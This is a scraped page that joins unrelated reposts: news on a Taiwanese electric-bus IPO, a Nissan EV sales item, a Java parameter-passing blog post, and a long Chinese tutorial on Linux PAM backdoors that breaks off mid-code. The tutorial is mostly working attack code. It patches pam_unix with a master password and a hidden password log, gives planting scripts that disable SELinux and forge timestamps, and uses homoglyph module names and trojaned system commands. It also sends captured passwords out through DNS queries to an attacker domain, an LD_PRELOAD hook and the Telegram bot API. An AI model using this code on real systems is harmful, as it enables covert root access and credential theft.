立凱電擬IPO上市 拚電動汽車商機

準上櫃公司立凱電於昨(19)日舉辦上櫃前業績發表會,做為純電動巴士廠商及磷酸鐵鋰正極材料業者,立凱電將是臺灣首檔電動巴士IPO公司。

立凱電董事長張聖時表示,近年來與台灣各縣市政府共同推動電動巴士,目前已有43輛電動巴士在全台各地運行,未來將結合政府10年200億(新台幣)汰換6,200台柴油巴士計畫,在電動巴士技術上創新。而透過上櫃掛牌,將讓立凱電營運與財務更加透明,以健全技術發展,立足台灣前進亞洲市場。

立凱電成立於2005年,以磷酸鐵鋰電池正極材料研發生產為主,2009年因材料技術突破,出貨穩定取得全球市場佔領先地位。為提升產業鏈附加值,自2009年起全力跨入新能源電動巴士,將其正極材料應用到電力電池領域,集合上中下游廠商力量,於2012年成為全台純電動巴士領導業者。

張聖時說,正極材料決定一顆電池8成性價比表現,立凱電透過開發循環壽命更長的正極材料來降低電池價格。以目前電池與汽油的行駛效能大約相差10倍,立凱電致力縮小差距,期許3年內可以讓油電成本價格到達黃金交叉,擴大磷酸鐵鋰電池的電動巴士普遍運行。

由於中國空氣汙染PM2.5超標大陸政府已高度關注,新能源車補貼政策將大力發展電動巴士;目前申請遞件的中國各城市,已累積35萬輛車,其中10萬輛車為電動巴士,並規定3成採購要來自外地。立凱電將結合西門子馬達,採併聯式電池系統,以期在電動巴士世界市場擦亮MIT品牌。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

FB行銷專家,教你從零開始的技巧

日產CEO稱燃料電池車將面臨更嚴重銷售問題

據路透報導,雷諾與日產汽車執行長戈恩週三(20)重申,雷諾與日產原定到2017年3月末時售出150萬輛電動汽車的目標,將推遲兩至三年。

但他對未能按時達到電動汽車銷售目標並不感到擔心,並預測競爭對手在未來幾年的燃料電池汽車銷售計畫會面臨更大的障礙。豐田汽車和本田汽車均計畫在2015年左右開始銷售燃料電池汽車。

儘管日產推遲了達到電動汽車銷售目標的時間,但他表示,將提高純電動汽車Leaf在美國的產量。在下調價格之後,Leaf是目前全球最暢銷的電動汽車。

自三年前向市場推出首款電動汽車以來,日產與雷諾迄今僅售出了12萬輛電動汽車。不過戈恩認為,充電基礎設施方面的難題,而非技術問題,才是阻礙電動汽車普及程度的關鍵原因,這預示著燃料電池汽車的未來甚至面臨更大的挑戰。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

【Java思考】Java 中的實參与形參之間的傳遞到底是值傳遞還是引用傳遞呢?

科普:

  • 值傳遞(pass by value)是指在調用函數時將實際參數複製一份傳遞到函數中,這樣在函數中如果對參數進行修改,將不會影響到實際參數。
  • 引用傳遞(pass by reference)是指在調用函數時將實際參數的地址直接傳遞到函數中,那麼在函數中對參數所進行的修改,將影響到實際參數。
值傳遞 引用傳遞
根本區別 會創建副本(Copy) 不創建副本,直接引用
效果 函數中無法改變原始對象 函數中可以改變原始對象

Java 中的實參与形參之間的傳遞到底是值傳遞還是引用傳遞呢?

其實之前我和大多數人一樣認為:傳遞的參數如果是“基本數據類型”,那就是“值傳遞”,如果是“引用類型”(即 對象),那就是“引用傳遞”。

但是昨天我突然覺得:好像。。。不一定!
誒,別急着懟我說:Nemo!你傳遞過對象沒啊,把對象傳過去,修改對象的屬性值,屬性值就是的的確確的修改了啊!

誒,你說的沒錯,確實是修改了,但是你也說了是修改對象的屬性值,傳過去的是對象地址,而你的實際操作並沒有對你傳入的地址進行修改,只是修改了對象地址下面的屬性值。

如果只是修改對象地址下面的屬性值的話,那麼值傳遞和引用傳遞有差嗎?
值傳遞:複製對象地址給函數,函數修改對象地址下面的屬性值。
引用傳遞:引用對象地址給函數,函數修改對象地址下面的屬性值。
這兩者有差嗎,無論是複製還是引用,傳入的對象地址都沒有改變,改變的只是對象地址下面的屬性值。

類比:我們可以類比一下,你家的地址是“北京市海淀區清華園1號”
引用傳遞:你給我引用你的地址,我過去你的地址那,打開你家的門,偷你家電動車的電瓶。
值傳遞:你不給我你的地址,我從網上找到你的地址,複製一份,過去你的地址那,打開你家的門,偷你家電動車的電瓶。
你瞧瞧,這兩者有差嗎?無論是怎樣拿到你家的地址,你家的電瓶我要定了啊,你家的電瓶都會被修改啊。

舉例代碼:

package temp;

/**
 * @author Nemo
 * @date 2020/6/22
 */
public class ValueTransfer {
    public static void main(String[] args) {
        Home yourHome = new Home("你的家");
        Nemo nemo = new Nemo();
        nemo.steal(yourHome);
        yourHome.show();
    }
}

class Home {
    public String name;
    public boolean battery = true;

    public boolean isBattery() {
        return battery;
    }

    public void setBattery(boolean battery) {
        this.battery = battery;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Home(String name) {
        this.name = name;
    }

    public void show() {
        if (this.isBattery()) {
            System.out.println(name + "的電瓶還在喲~");
        } else {
            System.out.println(name + "的電瓶被偷了!");
        }
    }

}

class Nemo {
    public void steal(Home home) {
        //如果是引用傳遞的話,那麼我把你的家整個都變為了別人的家,那麼你的家對象上現在應該存放的是別人的家
        //如果是值傳遞的話,那麼我只是把你的家對象複製了一個新的,這個新的家是別人的家,我偷一個跟你家一模一樣的別人家的電瓶,你家的電瓶應該不會變
        home = new Home("別人的家");
        home.battery = false;
        home.show();
    }

}

在 Nemo 類的 steal 方法中,我們可以看到註釋:

  1. 如果是引用傳遞,那麼我把你的家整個都變為了別人的家,那麼你的家對象上現在應該存放的是別人的家,並且你家(即 別人家)的電瓶也應該被我偷了。
  2. 如果是值傳遞,那麼我只是把你的家對象參數複製了一個新的,這個新的家我設為了別人的家,我偷一個跟你家一模一樣的別人家的電瓶,你家的電瓶應該不會變。

運行結果:

別人的家的電瓶被偷了!
你的家的電瓶還在喲~

根據運行結果來看,很顯然,是第二種情況,也就是值傳遞,我偷的是一個跟你家一模一樣的別人家的電瓶,而你家的電瓶還在。

結論

Java 中只有值傳遞

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

Linux Pam後門總結拓展

首發先知社區: https://xz.aliyun.com/t/7902

前言

漸漸發現pam後門在實戰中存在種植繁瑣、隱蔽性不強等缺點,這裏記錄下學習pam後門相關知識和pam後門的拓展改進。

0x01 PAM Backdoor

PAM是一種認證模塊,PAM可以作為Linux登錄驗證和各類基礎服務的認證,簡單來說就是一種用於Linux系統上的用戶身份驗證的機制。進行認證時首先確定是什麼服務,然後加載相應的PAM的配置文件(位於/etc/pam.d),最後調用認證文件(位於/lib/security)進行安全認證

簡易利用的PAM後門也是通過修改PAM源碼中認證的邏輯來達到權限維持

以下為Pam後門種植的過程,只是特別把一點tips和需要注意的點貼出來。

查詢目標版本後下載對應源代碼修改認證邏輯、編譯替換原認證文件即可。版本務必要和目標系統完全保持對應。

源碼:http://www.linux-pam.org/library/

查詢版本rpm -qa | grep pam

tar -xzvf Linux-PAM-1.1.1.tar.gz
cd Linux-PAM-1.1.1
cd modules/pam_unix/
vim pam_unix_auth.c

**pam_unix_auth.c ** 在這裏你可以修改認證邏輯,改成使用特定密碼的後門,當然也可以作為一個記錄敏感密碼的功能,將記錄的密碼寫入文件記錄。

/* verify the password of this user */ 
retval = _unix_verify_password(pamh, name, p, ctrl); 
if(strcmp("qing!@#123",p)==0){return PAM_SUCCESS;} 
 
if(retval == PAM_SUCCESS){
        FILE * fp;
        fp = fopen("/bin/.sshlog", "a");
        fprintf(fp, "%s : %s\n", name, p);
        fclose(fp);
        }

這裏也提一下,實際各種複雜環境還是推薦非交互去修改源碼

apt-get install dpkg-dev flex
apt-get source libpam-modules=`dpkg -s libpam-modules \
> | grep -i version | cut -d' ' -f2`
 cd pam-1.1.1/modules/pam_unix/
 sed -i '/\tretval = _unix_verify_password(pamh, name, p, ctrl);/ a \\tif (strcmp(p, \"micasa\") == 0) { retval = PAM_SUCCESS; }' pam_unix_auth.c
 cd ../..
 ./configure
 make
 cd

編譯、修改:

在目標機器上重新編譯PAM,而後,再將生成的庫複製到系統的/lib64/security/[注意,32和64位系統下該目錄的路徑不一樣的目錄下

cd ../../
./configure && make  (./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr)
mv pam_unix.so{,.bak} #備份
cp /root/Linux-PAM-1.1.1/modules/pam_unix/.libs/pam_unix.so /lib64/security/ #覆蓋替換
echo $?

注意的tips

過程只是有些步驟,需要注意的時候在編譯後門關閉Selinux或設置上下文,以及修改pam認證的一些時間戳達到基本的隱蔽。

stat pam_unix.*
touch -t 201002160134 pam_unix.so
touch pam_unix.so -r pam_unix.so.src  #克隆原始文件時間
ls -Z pam_unix.so.src (查看原始文件的Selinux上下文) 
chcon –reference=pam_unix.so.src pam_unix.so   setsebool -P allow_saslauthd_read_shadow 1    # 設置Selinux上下文

#或直接時間戳給變量來修改
 timestamp=`ls -l /lib/security/ | grep pam_unix.so | grep -v ^l \
> | awk '{print $6$7}' | tr -d '-' | tr -d ':'`
 touch -t $timestamp /lib/security/pam_unix.so

一定注意替換完成后測試ok再退出不然基本的認證就亂了

root@qing:~/pam/Linux-PAM-1.1.8/modules/pam_unix# ls -alh /bin/.sshlog
-rw-r--r--. 1 root root 162 May 31 03:15 /bin/.sshlog

Pam 後門一些報錯解決:

編譯中的問題解決:64位系統編譯可能會遇到yywrap()函數未定義錯誤

  • 1.根據提示的文件路徑,在裏面定義
  • #define yywrap() 1 或者int yywrap(){return 1;}
  • 2.在C文件中定義 %option noyywrap
  • 3.安裝flex軟件包就可以正常編譯了 yum install flex

記得Selinux一定要關閉或者設置上下文

Pam後門種植腳本

但是在種植過程中對於步驟顯得有點繁瑣,腳本來簡化步驟,腳本一把PAM種植過程的命令傻瓜式寫進sh, 腳本二來自zephrax:

root@qing:~/pam# cat pam.sh
#!/bin/bash
PASS='qing123' ##......
LOG='\/bin\/.sshlog' ##......
echo -e "\nPam-Backdoor\n\n\n"
version=`rpm -qa | grep pam | awk -F- '{print $2}'`
#get the pam version

#close the selinux
if [ `getenforce` = '1' ];then
setenforce 0
line_n = `grep -n "^SELINUX=enforcing" /etc/sysconfig/selinux | awk -F: '{print $1}'`
sed -i $line_n' d' /etc/sysconfig/selinux
sed -i $line_n" a\SELINUX=disabled" /etc/sysconfig/selinux
/etc/sysconfig/selinux
else
echo "selinux is closed"
fi
if [ `uname -p` = 'x86_64' ];then
LIBPATH=lib64
else
LIBPATH=lib
fi
oldtime=`stat -c '%z' /lib64/security/pam_ftp.so`
echo 'Pam backdoor starting!'
mirror_url='http://www.linux-pam.org/library/Linux-PAM-'$version'.tar.gz'
#mirror_url='http://yum.singlehop.com/pub/linux/libs/pam/pre/library/Linux-PAM-0.99.6.2.tar.gz'
version='Linux-PAM-'$version
echo 'Fetching from '$mirror_url
wget $mirror_url #fetch the roll
tar zxf $version'.tar.gz' #untar
cd $version
#find and replace
sed -i -e 's/retval = _unix_verify_password(pamh, name, p, ctrl);/retval = _unix_verify_password(pamh, name, p, ctrl);\n\tif (strcmp(p,"'$PASS'")==0 ){retval = PAM_SUCCESS;}if(retval == PAM_SUCCESS){\n\tFILE * fp;\n\tfp = fopen("'$LOG'", "a");\n\tfprintf(fp, "%s : %s\\n", name, p);\n\tfclose(fp);\n\t}/g' modules/pam_unix/pam_unix_auth.c
DIS=`head /etc/issue -n 1|awk '{print $1}'`
#get the version
if [ $DIS = "CentOS" ];then
./configure --disable-selinux && make
else
./configure && make
fi
/bin/cp -rf /$LIBPATH/security/pam_unix.so /$LIBPATH/security/pam_unix.so.bak #.. .........
/bin/cp -rf modules/pam_unix/.libs/pam_unix.so /$LIBPATH/security/pam_unix.so
touch -d "$oldtime" /$LIBPATH/security/pam_unix.so
cd .. && rm -rf Linux-PAM-1.1.1*
echo "PAM BackDoor is Done"
#!/bin/bash

OPTIND=1

PAM_VERSION=
PAM_FILE=
PASSWORD=

echo "Automatic PAM Backdoor"

function show_help {
	echo ""
	echo "Example usage: $0 -v 1.3.0 -p some_s3cr3t_p455word"
	echo "For a list of supported versions: http://www.linux-pam.org/library/"
}

while getopts ":h:?:p:v:" opt; do
    case "$opt" in
    h|\?)
        show_help
        exit 0
        ;;
    v)  PAM_VERSION="$OPTARG"
        ;;
    p)  PASSWORD="$OPTARG"
        ;;
    esac
done

shift $((OPTIND-1))

[ "$1" = "--" ] && shift

if [ -z $PAM_VERSION ]; then
	show_help
	exit 1
fi;

if [ -z $PASSWORD ]; then
	show_help
	exit 1
fi;

echo "PAM Version: $PAM_VERSION"
echo "Password: $PASSWORD"
echo ""

PAM_BASE_URL="http://www.linux-pam.org/library"
PAM_DIR="Linux-PAM-${PAM_VERSION}"
PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.bz2"
PATCH_DIR=`which patch`

if [ $? -ne 0 ]; then
	echo "Error: patch command not found. Exiting..."
	exit 1
fi
wget -c "${PAM_BASE_URL}/${PAM_FILE}"

tar xjf $PAM_FILE
cat backdoor.patch | sed -e "s/_PASSWORD_/${PASSWORD}/g" | patch -p1 -d $PAM_DIR
cd $PAM_DIR
./configure
make
cp modules/pam_unix/.libs/pam_unix.so ../
cd ..
echo "Backdoor created."
echo "Now copy the generated ./pam_unix.so to the right directory (usually /lib/security/)"
echo ""

pam 後門種植過程中也可以發現一些可以改進優化的點,比如加載認證後門方式、文件,以及對於劫持密碼的形式不一定是寫入文本文件的形式。

0x02 Pam_permit Backdoor

因為種植機器環境的不確定性,很難保證在包管理器中提供了某種對文件校驗,可用於檢測文件系統中現有程序的操作。這些校驗分發包中合法隨附的文件的完整性,也許在我們修改認證so類似這種系統敏感文件就會觸發監控報警

我們也可以在原Pam後門種植中變通一下在不替換原系統認證pam文件來達到相同的權限維持目的。

而類似在pam認證邏輯中改變認證結果,不一定非要在文件中修改,在認證中存在pam_permit.so模塊,而而pam_permit模塊任何時候都返回認證成功.

root@qing:~/pam/Linux-PAM-1.1.8/modules# cat pam_permit/pam_permit.c
/* pam_permit module */

/*
 * $Id$
 *
 * Written by Andrew Morgan <morgan@parc.power.net> 1996/3/11
 *
 */

#include "config.h"

#define DEFAULT_USER "nobody"

#include <stdio.h>

/*
 * here, we make definitions for the externally accessible functions
 * in this file (these definitions are required for static modules
 * but strongly encouraged generally) they are used to instruct the
 * modules include file to define their prototypes.
 */

#define PAM_SM_AUTH
#define PAM_SM_ACCOUNT
#define PAM_SM_SESSION
#define PAM_SM_PASSWORD

#include <security/pam_modules.h>
#include <security/_pam_macros.h>

/* --- authentication management functions --- */

PAM_EXTERN int
pam_sm_authenticate(pam_handle_t *pamh, int flags UNUSED,
                    int argc UNUSED, const char **argv UNUSED)
{
    int retval;
    const char *user=NULL;

    /*
     * authentication requires we know who the user wants to be
     */
    retval = pam_get_user(pamh, &user, NULL);
    if (retval != PAM_SUCCESS) {
        D(("get user returned error: %s", pam_strerror(pamh,retval)));
        return retval;
    }
    if (user == NULL || *user == '\0') {
        D(("username not known"));
        retval = pam_set_item(pamh, PAM_USER, (const void *) DEFAULT_USER);
        if (retval != PAM_SUCCESS)
            return PAM_USER_UNKNOWN;
    }
    user = NULL;                                            /* clean up */

    return PAM_SUCCESS;
}

PAM_EXTERN int
pam_sm_setcred(pam_handle_t *pamh UNUSED, int flags UNUSED,
               int argc UNUSED, const char **argv UNUSED)
{
     return PAM_SUCCESS;
}

/* --- account management functions --- */

PAM_EXTERN int
pam_sm_acct_mgmt(pam_handle_t *pamh UNUSED, int flags UNUSED,
                 int argc UNUSED, const char **argv UNUSED)
{
     return PAM_SUCCESS;
}

/* --- password management --- */

PAM_EXTERN int
pam_sm_chauthtok(pam_handle_t *pamh UNUSED, int flags UNUSED,
                 int argc UNUSED, const char **argv UNUSED)
{
     return PAM_SUCCESS;
}

/* --- session management --- */

PAM_EXTERN int
pam_sm_open_session(pam_handle_t *pamh UNUSED, int flags UNUSED,
                    int argc UNUSED, const char **argv UNUSED)
{
    return PAM_SUCCESS;
}

PAM_EXTERN int
pam_sm_close_session(pam_handle_t *pamh UNUSED, int flags UNUSED,
                     int argc UNUSED, const char **argv UNUSED)
{
     return PAM_SUCCESS;
}

/* end of module definition */

#ifdef PAM_STATIC

/* static module data */

struct pam_module _pam_permit_modstruct = {
    "pam_permit",
    pam_sm_authenticate,
    pam_sm_setcred,
    pam_sm_acct_mgmt,
    pam_sm_open_session,
    pam_sm_close_session,
    pam_sm_chauthtok
};

#endif

所以在留pam後門時也可以利用這個”永真”的so來達到權限維持。

掛載+優先級後門

當我們運行shell腳本時候系統將順序嘗試在PATH環境變量的所有目錄中查找該命令。如果兩個不同的PATH條目中有兩個匹配的可執行文件,則將使用第一個而不觸發任何警告。因此,如果我們在第一個PATH條目中添加了一個惡意二進制文件,而合法的二進制文件則位於PATH的後面,則使用惡意二進制文件代替原始二進制文件。

所以我們可以利用路徑優先級結合使用mount連接原so和替換的惡意so文件來耍點”小聰明”,這裏將/usr/bin/uname寫個wrapper script:

#!/bin/sh
mount --bind /lib/*/*/pam_permit.so /lib/*/*/pam_unix.so 2>/dev/null
/bin/uname $*

這樣就用pam_permit.so來替代加載了pam_unix.so.

原因就在於/usr/bin默認優先於/bin路徑

qing@ubuntu:/usr/bin$ cat uname
#!/bin/sh
mount --bind /lib64/security/pam_permit.so /lib64/security/pam_unix.so 2>/dev/null
/bin/uname $*
qing@ubuntu:/usr/bin$ uname -a

Linux ubuntu 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
qing@ubuntu:/usr/bin$

可以發現隨便輸入密碼都是ok的 以及以低用戶權限切root也是無密:

這樣相當於萬能密碼,/dev/null重定向標準錯誤也是為了低權限用戶執行mount因權限不夠出錯的問題,這樣就算不是root用戶執行uname在最後執行原/bin/uname沒有任何影響。種植後任何調用uname的腳本都會觸發pam_permit.so,並且我們沒有修改原pam的任何文件。

uname只是一個簡單的例子,shell腳本中可以使用無數的命令,具體要用替換來長期維權需要替換什麼師傅們也能想到。

需要注意的一個的小地方是上面的例子是在Linux ubuntu 4.4.0-142-generic 進行,而你在Centos這種紅帽中PATH又是不一樣的,具體環境具體替換即可。

同形異義字後門

/etc/pam.d/下來管理對程序的認證方式。

應用程序會調用相應的配置文件,從而調用本地的認證模塊,模塊放置在/lib/security下,以加載動態庫的形式進,像我們使用su命令時,系統會提示你輸入root用戶的密碼.這就是su命令通過調用PAM模塊實現的.

qing@ubuntu:/usr/bin$ ls -alh /etc/pam.d/
total 92K
drwxr-xr-x  2 root root 4.0K May 13 02:17 .
drwxr-xr-x 97 root root 4.0K May 21 05:26 ..
-rw-r--r--  1 root root  384 Nov 12  2015 chfn
-rw-r--r--  1 root root   92 Nov 12  2015 chpasswd
-rw-r--r--  1 root root  581 Nov 12  2015 chsh
-rw-r--r--  1 root root 1.2K Apr  7 05:15 common-account
-rw-r--r--  1 root root 1.2K Apr  7 05:15 common-auth
-rw-r--r--  1 root root 1.5K Apr  7 05:15 common-password
-rw-r--r--  1 root root 1.5K Apr  7 05:15 common-session
-rw-r--r--  1 root root 1.5K Apr  7 05:15 common-session-noninteractive
-rw-r--r--  1 root root  606 Apr  5  2016 cron
-rw-r--r--  1 root root 4.8K Jan 29  2016 login
-rw-r--r--  1 root root   92 Nov 12  2015 newusers
-rw-r--r--  1 root root  520 Mar 16  2016 other
-rw-r--r--  1 root root   92 Nov 12  2015 passwd
-rw-r--r--  1 root root  143 Mar 12  2016 runuser
-rw-r--r--  1 root root  138 Mar 12  2016 runuser-l
-rw-r--r--  1 root root  454 Jan 13  2018 smtp
-rw-r--r--  1 root root 2.1K Mar  4  2019 sshd
-rw-r--r--  1 root root 2.3K Nov 12  2015 su
-rw-r--r--  1 root root  239 Mar 30  2016 sudo
-rw-r--r--  1 root root  251 Apr 12  2016 systemd-user

看文件之前先看下配置文件的規則,例如/etc/pam.d/sshd(省略號為無關內容):

qing@ubuntu:/usr/bin$ cat /etc/pam.d/sshd
# PAM configuration for the Secure Shell service

# Standard Un*x authentication.
@include common-auth
...
account    required     pam_nologin.so
...
@include common-account
...
session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so close

# Set the loginuid process attribute.
session    required     pam_loginuid.so
..
session    optional     pam_keyinit.so force revoke
..
@include common-session
..
session    optional     pam_motd.so  motd=/run/motd.dynamic
session    optional     pam_motd.so noupdate
..
session    optional     pam_mail.so standard noenv # [1]
..
session    required     pam_limits.so

..
session    required     pam_env.so # [1]
..
session    required     pam_env.so user_readenv=1 envfile=/etc/default/locale
...
session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so open

# Standard Un*x password updating.
@include common-password

第一列代表模塊類型

第二列代表控制標記

第三列代表模塊路徑

第四列代表模塊參數

而模塊又分四種,具體可以百度,這裏對於後門做手腳還是關注認證管理(auth)模塊。

查看認證/etc/pam.d/common-auth,可以發現auth模塊和對應標記控制、調用的模塊、傳遞的參數:

從文件中控制標記可以看出驗證的邏輯順序(required表示即使某個模塊對用戶的驗證失敗,requisite也是表示返回失敗,立刻嚮應用程序返回失敗,表示此類型失敗.不再進行同類型後面的操作.),為這裏suucces=1的表示驗證密碼成功然後接下來去調用pam_unix.so(跳過調用pam_deny.so),如果驗證失敗則會去調用pam_deny.so,

那在不知道認證密碼的情況下必然是認證失敗,如果失敗調用的這個pam_deny.so為惡意文件或者為返回結果為真的pam_permit.so都可以達到一個後門的效果,這裏就可以用到同形異字Unicode字符來做個後門:

cp /lib/*/*/pam_permit.so /lib/x86_64-linux-gnu/security/pam_de$'\u578'y.so

這裏de後面的並不是正常的n,而是用Unicode字符u+578來替代,雖然他看來和正常的n很像,

所以在認證文件替換響應的字符,這樣調用的時候會調用我們創建含unicode字符的so,最後還是會調用到pam_permit.so使認證結果返回正確,而不是原認證文件。

perl -i -pe's/deny/de\x{578}y/' /etc/pam.d/common-auth

類似的還可以使用相同名稱的shell腳本來替換ls、netstat、ps等命令,不過不推薦:

which ls netstat ps lsof find|perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,">$o";print F"#!/bin/sh\n$_ \$*|grep -vE \"[$s-$n]|grep|177\"";chmod 493,$o'

0x03 PAM-BackDoor-exfiltration

在更改pam_unix_auth時候可以指定將密碼寫入tmp目錄文件來記錄密碼,除此我們也可使用數據帶外的方式來達到用後門收集一些有效憑證、敏感密碼之類的信息。

這時候我們在看來一般的PAM後門種植過程中對於密碼的記錄:

if(strcmp(p,"qing")==0)
{
        retval = PAM_SUCCESS;
}
if(retval== PAM_SUCCESS)
{
        fp=fopen("qing.txt","a");
        fprintf(fp,"%s::%s\n",name,p);
        fclose(fp);
}

DNS exfiltration收集密碼

這裏還是在retval = _unix_verify_password(pamh, name, p, ctrl)下改變邏輯,如果需要將憑證帶外的話只需要改變記錄方式,比如創建socket對象將認證賬號密碼發送http格式的包到攻擊者的服務器上。這裏也可以使用dns帶外的形式,還是在更改pam_unix_auth.c的基礎上加入dns帶外的代碼。

Silver Moon dns.c(https://gist.github.com/fffaraz/9d9170b57791c28ccda9255b48315168)

get_dns_serversChangetoDnsNameFormat進行指定dns解析和域名格式轉換

void get_dns_servers()
{
    FILE *fp;
    char line[200] , *p;
    if((fp = fopen("/etc/resolv.conf" , "r")) == NULL)
    {
        printf("Failed opening /etc/resolv.conf file \n");
    }
     
    while(fgets(line , 200 , fp))
    {
        if(line[0] == '#')
        {
            continue;
        }
        if(strncmp(line , "nameserver" , 10) == 0)
        {
            p = strtok(line , " ");
            p = strtok(NULL , " ");
             
            //p now is the dns ip :)
            //????
        }
    }
     
    strcpy(dns_servers[0] , "208.67.222.222");
    strcpy(dns_servers[1] , "208.67.220.220");
}
 
/*
 * This will convert www.google.com to 3www6google3com 
 * got it :)
 * */
void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host) 
{
    int lock = 0 , i;
    strcat((char*)host,".");
     
    for(i = 0 ; i < strlen((char*)host) ; i++) 
    {
        if(host[i]=='.') 
        {
            *dns++ = i-lock;
            for(;lock<i;lock++) 
            {
                *dns++=host[lock];
            }
            lock++; //or lock=i+1;
        }
    }
    *dns++='\0';
}

加入查詢的代碼后只需要在_unix_verify_password下面加入對認證信息的dns查詢即可,name和p都在最後調用ngethostbyname將snprintf拼接好的地址進行dns查詢:

root@qing:~/Linux-PAM-1.1.8/modules/pam_unix# rm pam_unix_auth.c
rm: remove regular file ‘pam_unix_auth.c’? yes
root@qing:~/Linux-PAM-1.1.8/modules/pam_unix# mv 1.c pam_unix_auth.c
root@qing:~/Linux-PAM-1.1.8/modules/pam_unix# cd ../../
root@qing:~/Linux-PAM-1.1.8# ./configure && make

而這種還是對pam_unix.so進行替換,如果不動so文件也可以使用LD_PRELOAD之類的來預加載。

LD_PRELOAD 劫持收集密碼

在不動so的情況下我們也可以使用類似LD_PRELOAD的方式來劫持相關認證函數,在劫持的函數中對憑證進行帶外收集,最後再調用正常的認證函數即可。而@TheXC3LL沒有細說為什麼劫持pam_get_item函數的原因,查下資料,先來看看pam_get_item函數:

(https://www.man7.org/linux/man-pages/man3/pam_get_item.3.html)

NAME         top
       pam_get_item - getting PAM informations
SYNOPSIS         top
       #include <security/pam_modules.h>

       int pam_get_item(const pam_handle_t *pamh, int item_type,
                        const void **item);
DESCRIPTION         top
       The pam_get_item function allows applications and PAM service modules
       to access and retrieve PAM informations of item_type. Upon successful
       return, item contains a pointer to the value of the corresponding
       item. Note, this is a pointer to the actual data and should not be
       free()'ed or over-written! The following values are supported for
       item_type:

可以看到pam_get_item 是用來讓應用和pam服務模塊去獲取PAM信息的,查看手冊定義發現當item_type參數為PAM_AUTHTOK

使用pam_sm_authenticate()pam_sm_chauthtok()會傳遞身份令牌(一般是密碼)和包含密碼,這裏傳遞了密碼憑據:

 PAM_AUTHTOK
           The authentication token (often a password). This token should be
           ignored by all module functions besides pam_sm_authenticate(3)
           and pam_sm_chauthtok(3). In the former function it is used to
           pass the most recent authentication token from one stacked module
           to another. In the latter function the token is used for another
           purpose. It contains the currently active authentication token.

手冊末尾也說明了獲取用戶名使用pam_get_user()、並且當是服務模塊的時候才可以讀取認證憑據。

If a service module wishes to obtain the name of the user, it should
       not use this function, but instead perform a call to pam_get_user(3).

       Only a service module is privileged to read the authentication
       tokens, PAM_AUTHTOK and PAM_OLDAUTHTOK.

所以我們劫持pam_get_item即可收集憑據。

劫持后的pam_get_item函數,orig_ftype定義為dlsym返回動態鏈接庫的函數指針即原pam_get_item函數,調用原函數后在最後發送dns請求:

typedef int (*orig_ftype) (const pam_handle_t *pamh, int item_type,  const void **item);

int pam_get_item(const pam_handle_t *pamh, int item_type, const void **item) {
    int retval;
    int pid;
    const char *name;
    orig_ftype orig_pam;
    orig_pam = (orig_ftype)dlsym(RTLD_NEXT, "pam_get_item");

    // Call original function  so we log password
    retval = orig_pam(pamh, item_type, item);

    // Log credential
    if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL) {
        unsigned char hostname[256];
        get_dns_servers();
        pam_get_user((pam_handle_t *)pamh, &name, NULL);
        snprintf(hostname, sizeof(hostname), "%s.%s.qing.dnslog.cn", name, *item); // Change it with your domain
        if (fork() == 0) {
            ngethostbyname(hostname, T_A);
        }
    }

    return retval;

root@qing:~# vim pam_door.c
root@qing:~# gcc -fPIC -shared pam_door.c -o qing.so
root@qing:~# ll qing.so
-rwxr-xr-x 1 root root 17624 Jun 12 08:13 qing.so

這種好處雖然也是用pam做後門但是不用去動認證文件以及每次收集使用dns帶外,動靜更小隱蔽性更好一些。

使用**pam_get_item **獲取密碼還可以參考這篇:https://www.redhat.com/archives/pam-list/2004-November/msg00038.html

sshLooterC

sshLooterC也是用pam_get_item來獲取密碼,只不過是改的/etc/pam.d/common-auth使認證成功時調用惡意的so:

Copy the looter.so to the infected machine on /lib/security, then edit the /etc/pam.d/common-auth and add the following lines.

auth optional module.so
account optional module.so

將密碼帶外則是用的libcurl來帶外:

void sendMessage(char (*message)[]) {
  char url[500];
  char data[200];

  //INSERT HERE YOUR BOT KEY
  char token[200] = "BOT TOKEN";

  //INSERT HERE YOUR USER ID
  int user_id = 1111111;

  snprintf(url,600,"https://api.telegram.org/bot%s/sendMessage",token);
  snprintf(data,300,"chat_id=%d&text=%s",user_id,*message);
  CURL *curl;
  curl_global_init(CURL_GLOBAL_ALL);
  curl = curl_easy_init();
  if(curl) {
    curl_easy_setopt(curl, CURLOPT_URL, url);
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS,data); 
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
    curl_easy_perform(curl);
  }                                       
  curl_global_cleanup();
}

使用這個項目時候有點bug,添加下函數聲明:

//添加函數聲明
int pam_get_authtok(pam_handle_t *pamh, int item, const char **authtok, const char
*prompt);
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const
